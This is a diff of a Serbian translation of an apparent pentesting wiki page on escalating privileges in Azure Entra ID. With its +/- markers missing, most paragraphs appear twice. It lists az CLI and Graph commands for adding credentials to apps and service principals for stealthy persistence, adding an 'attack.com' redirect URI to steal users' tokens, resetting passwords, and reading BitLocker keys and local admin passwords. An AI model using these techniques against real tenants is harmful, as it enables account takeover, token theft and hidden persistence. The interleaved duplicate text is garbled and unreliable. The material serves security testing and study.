> Imajte na umu da **nisu sve granularne dozvole** koje ugrađene role imaju u Entra ID **pogodne za korišćenje u prilagođenim ulogama.**
## Uloge
### Uloga: Administrator privilegovanih uloga <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Uloga: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ova uloga sadrži potrebne granularne dozvole za dodeljivanje uloga principima i za davanje više dozvola ulogama. Ove akcije se mogu zloupotrebiti za eskalaciju privilegija.
Ova uloga sadrži neophodne granularne dozvole da bi mogla dodeljivati uloge principalima i davati dodatne dozvole ulogama. Obe radnje mogu biti zloupotrebljene za eskalaciju privilegija.
- Dodeli ulogu korisniku:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Dodajte više dozvola ulozi:
- Dodajte više dozvola roli:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Ovo omogućava napadaču da **doda kredencijale** (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač može da se autentifikuje kao ta aplikacija i stekne te privilegije.
Ovo omogućava napadaču da **doda kredencijale** (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač se može autentifikovati kao ta aplikacija i steći te privilegije.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Ovo omogućava iste radnje kao `applications/credentials/update`, ali je ograničeno na aplikacije unutar jedne direktorije.
Ovo omogućava iste akcije kao `applications/credentials/update`, ali je ograničeno na aplikacije unutar jedne direktorije.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući kredencijale i dozvole.
Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući credentials i permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Napadač može dodati URI za preusmeravanje aplikacijama koje koriste korisnici tenanta i zatim podeliti sa njima URL-ove za prijavu koji koriste novi URL za preusmeravanje kako bi ukrao njihove tokene. Imajte na umu da, ako je korisnik već bio prijavljen u aplikaciju, autentifikacija će biti automatska bez potrebe da korisnik bilo šta prihvati.
Napadač može dodati redirect URI aplikacijama koje koriste korisnici tenanta, a zatim im podeliti login URLs koji koriste novi redirect URI kako bi ukrao njihove tokens. Napomena: ako je korisnik već bio ulogovan u aplikaciju, authentication će biti automatska bez potrebe da korisnik išta prihvata.
Imajte na umu da je takođe moguće promeniti dozvole koje aplikacija zahteva kako bi dobila više dozvola, ali u ovom slučaju korisnik će morati ponovo da prihvati prozor koji traži sve dozvole.
Takođe je moguće promeniti permissions koje aplikacija zahteva kako bi dobila više permissions, ali u tom slučaju korisnik će morati ponovo accept prompt koji traži sve permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Applications Privilege Escalation
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** bilo je veoma često pronaći podrazumevane aplikacije koje imaju dodeljene **API permissions** tipa **`Application`**. API Permission (kako se naziva u Entra ID konzoli) tipa **`Application`** znači da aplikacija može da pristupi API-ju i izvršava akcije bez korisničkog konteksta (bez korisničkog logina u aplikaciju), i bez potrebe za Entra ID rolama da bi joj to bilo omogućeno. Zbog toga je veoma često pronaći **aplikacije sa visokim privilegijama u svakom Entra ID tenant-u**.
Zatim, ako napadač ima bilo koju permisiju/rolu koja omogućava da **ažurira credentials (secret ili certificate) aplikacije**, napadač može generisati novi credential i potom ga koristiti da se **authenticate as the application**, dobijajući sve permisije koje aplikacija poseduje.
Napomena: pomenuti blog prikazuje neke **API permissions** uobičajenih Microsoft default aplikacija; međutim, neko vreme nakon ovog izveštaja Microsoft je ispravio ovaj problem i sada više nije moguće login-ovati se kao Microsoft aplikacije. Ipak, i dalje je moguće pronaći **prilagođene aplikacije sa visokim privilegijama koje se mogu zloupotrebiti**.
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Pronađi sve aplikacije koje imaju API dozvole za ne-Microsoft API-je (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
Ovo omogućava napadaču da doda credentials postojećim service principals. Ako service principal ima povišene privilegije, napadač može preuzeti te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nova generisana lozinka se neće pojaviti u web konzoli, tako da bi ovo mogla biti diskretna metoda za održavanje postojanosti nad servisnim principalom.\
> Iz API-ja se mogu pronaći sa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Novo generisana lozinka se neće pojaviti u web konzoli, pa ovo može biti stealth način da se održi persistence nad service principal.\
> Iz API-ja se mogu pronaći pomoću: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Ako dobijete grešku `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` to je zato što **nije moguće modifikovati svojstvo passwordCredentials** SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (`microsoft.directory/applications/allProperties/update`) koja vam omogućava da izvršite:
Ako dobijete grešku `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` to je zato što **nije moguće izmeniti passwordCredentials property** SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (`microsoft.directory/applications/allProperties/update`) koja vam omogućava da izvršite:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
Ovo omogućava napadaču da doda credentials postojećim service principals. Ako service principal ima povišene privilegije, napadač može preuzeti te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika servisa. Vlasništvo nad servisnim principalom omogućava kontrolu nad njegovim akreditivima i dozvolama.
Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika za service principal. Vlasništvo nad service principal omogućava kontrolu nad njegovim kredencijalima i dozvolama.
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Nakon dodavanja novog vlasnika, pokušao sam da ga uklonim, ali API je odgovorio da DELETE metoda nije podržana, čak i ako je to metoda koju treba koristiti za brisanje vlasnika. Dakle, **ne možete ukloniti vlasnike danas**.
> Nakon dodavanja novog vlasnika, pokušao sam da ga uklonim, ali je API odgovorio da metoda DELETE nije podržana, čak iako je to metoda koju treba koristiti da obrišete vlasnika. Dakle, **trenutno ne možete ukloniti vlasnike**.
### `microsoft.directory/servicePrincipals/disable` i `enable`
Ove dozvole omogućavaju onemogućavanje i omogućavanje servisnih principala. Napadač bi mogao iskoristiti ovu dozvolu da omogući servisnog principala do kojem bi mogao nekako da dođe kako bi eskalirao privilegije.
Ove dozvole omogućavaju onemogućavanje i ponovno omogućavanje service principals. Napadač bi mogao iskoristiti ovu dozvolu da omogući service principal kojem bi na neki način stekao pristup, kako bi eskalirao privilegije.
Napomena: za ovu tehniku napadač će trebati više dozvola kako bi preuzeo omogućeni servisni principala.
Imajte na umu da će za ovu tehniku napadaču biti potrebne dodatne dozvole da preuzme kontrolu nad omogućenim service principalom.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ove dozvole omogućavaju kreiranje i dobijanje kredencijala za jedinstveno prijavljivanje, što može omogućiti pristup aplikacijama trećih strana.
Ove dozvole omogućavaju kreiranje i pristup podacima za prijavu za single sign-on (SSO), što može omogućiti pristup aplikacijama trećih strana.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -164,44 +277,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Aplikacije za eskalaciju privilegija
**Kao što je objašnjeno u [ovom postu](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, bilo je veoma uobičajeno pronaći podrazumevane aplikacije koje imaju **API dozvole** tipa **`Application`** dodeljene njima. API dozvola (kako se naziva u Entra ID konzoli) tipa **`Application`** znači da aplikacija može pristupiti API-ju bez korisničkog konteksta (bez prijave korisnika u aplikaciju), i bez potrebe za Entra ID rolama da bi to omogućila. Stoga, veoma je uobičajeno pronaći **aplikacije sa visokim privilegijama u svakoj Entra ID tenantu**.
Dakle, ako napadač ima bilo koju dozvolu/rolu koja omogućava **ažuriranje kredencijala (tajna ili sertifikat) aplikacije**, napadač može generisati nove kredencijale i zatim ih koristiti da **se autentifikuje kao aplikacija**, stičući sve dozvole koje aplikacija ima.
Napomena da pomenuti blog deli neke **API dozvole** uobičajenih Microsoft podrazumevanih aplikacija, međutim, nakon ovog izveštaja Microsoft je ispravio ovaj problem i sada nije moguće prijaviti se kao Microsoft aplikacije. Ipak, još uvek je moguće pronaći **prilagođene aplikacije sa visokim privilegijama koje bi mogle biti zloupotrebljene**.
---
## Grupe
### `microsoft.directory/groups/allProperties/update`
Ova dozvola omogućava dodavanje korisnika u privilegovane grupe, što dovodi do eskalacije privilegija.
Ovo dopuštenje omogućava dodavanje korisnika u privilegovane grupe, što dovodi do privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
**Napomena**: Ovo dopuštenje ne uključuje Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
Ova dozvola omogućava postajanje vlasnikom grupa. Vlasnik grupe može kontrolisati članstvo u grupi i podešavanja, potencijalno povećavajući privilegije u grupi.
Ovo dopuštenje omogućava da postanete vlasnik grupa. Vlasnik grupe može kontrolisati članstvo i postavke grupe, što može dovesti do eskalacije privilegija unutar grupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
**Napomena**: Ova dozvola isključuje Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
Ova dozvola omogućava dodavanje članova u grupu. Napadač može dodati sebe ili zlonamerne naloge u privilegovane grupe, što može omogućiti povišen pristup.
Ova dozvola omogućava dodavanje članova u grupu. An attacker može da doda sebe ili maliciozne naloge u privilegovane grupe, čime može steći povišeni pristup.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Ova dozvola omogućava ažuriranje pravila članstva u dinamičkoj grupi. Napadač bi mogao da izmeni dinamička pravila kako bi se uključio u privilegovane grupe bez eksplicitnog dodavanja.
Ovo dopuštenje omogućava ažuriranje pravila članstva u dinamičnoj grupi. Napadač bi mogao izmeniti dinamična pravila da sebe uključi u privilegovane grupe bez eksplicitnog dodavanja.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -212,11 +317,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
**Napomena**: Ova dozvola isključuje Entra ID role-assignable groups.
### Dinamičke Grupe Privesc
### Dinamičke grupe Privesc
Možda je moguće da korisnici eskaliraju privilegije modifikovanjem svojih svojstava kako bi bili dodati kao članovi dinamičkih grupa. Za više informacija pogledajte:
Korisnici bi mogli eskalirati privilegije tako što bi izmenili sopstvena svojstva kako bi bili dodati kao članovi dinamičkih grupa. Za više informacija pogledajte:
{{#ref}}
dynamic-groups.md
@@ -226,13 +331,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Ova dozvola omogućava resetovanje lozinke za ne-administrativne korisnike, omogućavajući potencijalnom napadaču da eskalira privilegije na druge korisnike. Ova dozvola ne može biti dodeljena prilagođenim ulogama.
Ova dozvola omogućava resetovanje lozinke za korisnike koji nisu admini, što potencijalnom napadaču omogućava eskalaciju privilegija na druge korisnike. Ova dozvola ne može biti dodeljena prilagođenim ulogama.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Ova privilegija omogućava modifikaciju svojstava korisnika. Uobičajeno je pronaći dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava, stoga, ova dozvola može omogućiti korisniku da postavi potrebnu vrednost svojstva kako bi postao član određene dinamičke grupe i eskalirao privilegije.
Ova privilegija omogućava izmenu svojstava korisnika. Često se nalaze dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava; stoga ovo dopuštenje može omogućiti korisniku da postavi potrebnu vrednost svojstva kako bi postao član određene dinamičke grupe i eskalirao privilegije.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -248,9 +353,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politike uslovnog pristupa i zaobilaženje MFA
## Conditional Access Policies & MFA bypass
Pogrešno konfigurisane politike uslovnog pristupa koje zahtevaju MFA mogu se zaobići, proverite:
Pogrešno konfigurisane Conditional Access Policies koje zahtevaju MFA mogu biti bypassed, proverite:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Ova dozvola omogućava napadačima da se dodele kao vlasnici uređaja kako bi stekli kontrolu ili pristup podešavanjima i podacima specifičnim za uređaj.
Ova dozvola omogućava napadačima da sebi dodele vlasništvo nad uređajima kako bi stekli kontrolu ili pristup postavkama i podacima specifičnim za uređaj.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Ova dozvola omogućava napadačima da povežu svoj nalog sa uređajima kako bi dobili pristup ili zaobišli bezbednosne politike.
Ova dozvola omogućava attackers da povežu svoj nalog sa uređajima kako bi dobili pristup ili zaobišli sigurnosne politike.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Ova dozvola omogućava napadačima da čitaju svojstva rezervnih lokalnih administratorskih naloga za uređaje povezane sa Microsoft Entra, uključujući lozinku.
Ovo dopuštenje omogućava napadačima da pročitaju svojstva sačuvanih credentials lokalnog administratorskog naloga za Microsoft Entra joined devices, uključujući password.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Ova dozvola omogućava pristup BitLocker ključevima, što može omogućiti napadaču da dekriptuje diskove, ugrožavajući poverljivost podataka.
Ova dozvola omogućava pristup BitLocker ključevima, što bi napadaču moglo dozvoliti dešifrovanje diskova i ugroziti poverljivost podataka.
```bash
# List recovery keys
az rest --method GET \

View File

@@ -4,13 +4,13 @@
## Osnovne informacije
Azure Active Directory (Azure AD) je Microsoft-ova usluga zasnovana na oblaku za upravljanje identitetima i pristupom. Omogućava zaposlenima prijavu i pristup resursima, kako unutar, tako i izvan organizacije, uključujući Microsoft 365, Azure portal i mnoge druge SaaS aplikacije. Dizajn Azure AD-a fokusira se na pružanje ključnih usluga identiteta, posebno **authentication, authorization, and user management**.
Azure Active Directory (Azure AD) je Microsoftova usluga zasnovana na oblaku za upravljanje identitetima i pristupom. Omogućava zaposlenima da se prijave i dobiju pristup resursima unutar i izvan organizacije, uključujući Microsoft 365, Azure portal i mnoštvo drugih SaaS aplikacija. Dizajn Azure AD-a je fokusiran na pružanje osnovnih usluga identiteta, posebno **autentikacije, autorizacije i upravljanja korisnicima**.
Ključne funkcionalnosti Azure AD uključuju **multi-factor authentication** i **conditional access**, uz integraciju sa drugim Microsoft security services. Ove karakteristike značajno pojačavaju bezbednost korisničkih identiteta i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta ekosistema Microsoftovih cloud usluga, Azure AD je ključan za upravljanje korisničkim identitetima u oblaku.
Ključne funkcije Azure AD-a obuhvataju **višefaktorsku autentikaciju** i **uslovni pristup**, uz besprekornu integraciju sa ostalim Microsoftovim sigurnosnim servisima. Ove funkcije znatno povećavaju sigurnost korisničkih identiteta i omogućavaju organizacijama da efikasno primene i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema cloud usluga, Azure AD je ključan za upravljanje korisničkim identitetima u oblaku.
## Enumeracija
### **Konekcija**
### **Povezivanje**
{{#tabs }}
{{#tab name="az cli" }}
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Kada se **login** putem **CLI** u **Azure** iz bilo kog programa, koristite **Azure Application** iz **tenant**-a koji pripada **Microsoft**. Te Applications, kao i one koje možete kreirati na svom nalogu, **have a client id**. Nećete moći da vidite sve od njih u **allowed applications lists** koje vidite u konzoli, **but they are allowed by default**.
Kada se **prijavite** preko **CLI** u Azure pomoću bilo kog programa, koristite **Azure Application** iz **tenant** koji pripada **Microsoft**. Te aplikacije, kao i one koje možete kreirati na svom nalogu, **imaju client id**. Nećete moći da vidite sve od njih na **listama dozvoljenih aplikacija** koje vidite u konzoli, **ali one su dozvoljene podrazumevano**.
Na primer, **powershell script** koji se **authenticates** koristi aplikaciju sa client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje se u konzoli, sysadmin može **block that application** tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju preko te App.
Na primer, **powershell script** koji se **autentifikuje** koristi aplikaciju sa client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne bude vidljiva u konzoli, sistem administrator može **blokirati tu aplikaciju** tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju preko te App.
Međutim, postoje **other client-ids** aplikacija koje **will allow you to connect to Azure**:
Međutim, postoje **drugi client-ids** aplikacija koji **će vam omogućiti da se povežete na Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### Korisnici
Za više informacija o korisnicima Entra ID-a pogledajte:
Za više informacija o Entra ID korisnicima pogledajte:
{{#ref}}
../az-basic-information/
@@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
### MFA i Conditional Access Policies
Preporučuje se da se MFA doda svakom korisniku, međutim, neke kompanije to neće postaviti ili će ga postaviti putem Conditional Access: korisniku će biti **zahtevan MFA ako** se prijavi sa određene lokacije, iz pregledača ili pod **nekim uslovom**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypasses**. Proverite:
Preporučuje se da se MFA omogući za svakog korisnika, međutim, neke kompanije ga neće postaviti ili će ga podesiti pomoću Conditional Access: korisniku će biti **zatražen MFA ako** se prijavi sa određene lokacije, iz određenog pregledača ili pod **nekim uslovom**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypasses**. Proveri:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ Preporučuje se da se MFA doda svakom korisniku, međutim, neke kompanije to ne
### Grupe
Za više informacija o Entra ID grupama pogledajte:
Za više informacija o Entra ID grupama pogledaj:
{{#ref}}
../az-basic-information/
@@ -488,8 +488,8 @@ Vlasnici grupe mogu dodavati nove korisnike u grupu
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Grupe mogu biti dinamičke, što u suštini znači da **ako korisnik ispuni određene uslove biće dodat u grupu**. Naravno, ako su uslovi zasnovani na **atributima** koje **korisnik** može **kontrolisati**, on može zloupotrebiti ovu funkciju da **se ubaci u druge grupe**.\
> Pogledajte kako zloupotrebiti dynamic groups na sledećoj stranici:
> Grupe mogu biti dinamičke, što u suštini znači da **ako korisnik ispuni određene uslove, biće dodat u grupu**. Naravno, ako su uslovi zasnovani na **atributima** koje **korisnik** može **kontrolisati**, može zloupotrebiti ovu funkciju da **se ubaci u druge grupe**.\
> Pogledajte kako zloupotrebiti dinamičke grupe na sledećoj stranici:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -598,7 +598,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Owner Service Principal-a može promeniti njegovu lozinku.
> Vlasnik Service Principala može promeniti njegovu lozinku.
<details>
@@ -715,10 +715,10 @@ Za više informacija o aplikacijama pogledajte:
../az-basic-information/
{{#endref}}
Kada se App kreira, dodeljuju se 2 tipa dozvola:
Kada se aplikacija kreira dodeljuju se 2 tipa dozvola:
- **Dozvole** dodeljene **Service Principal**-u
- **Dozvole** koje **app** može imati i koristiti **u ime korisnika**.
- **Dozvole** dodeljene **Service Principal**
- **Dozvole** koje **aplikacija** može imati i koristiti u **ime korisnika**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Pronađi sve aplikacije koje imaju API dozvole za API-je koji nisu Microsoft-ovi (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Aplikacija sa dozvolom **`AppRoleAssignment.ReadWrite`** može **eskalirati na Global Admin** dodeljivanjem sebi te uloge.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Aplikacija sa dozvolom **`AppRoleAssignment.ReadWrite`** može **eskalirati na Global Admin** tako što će sebi dodeliti tu rolu.\
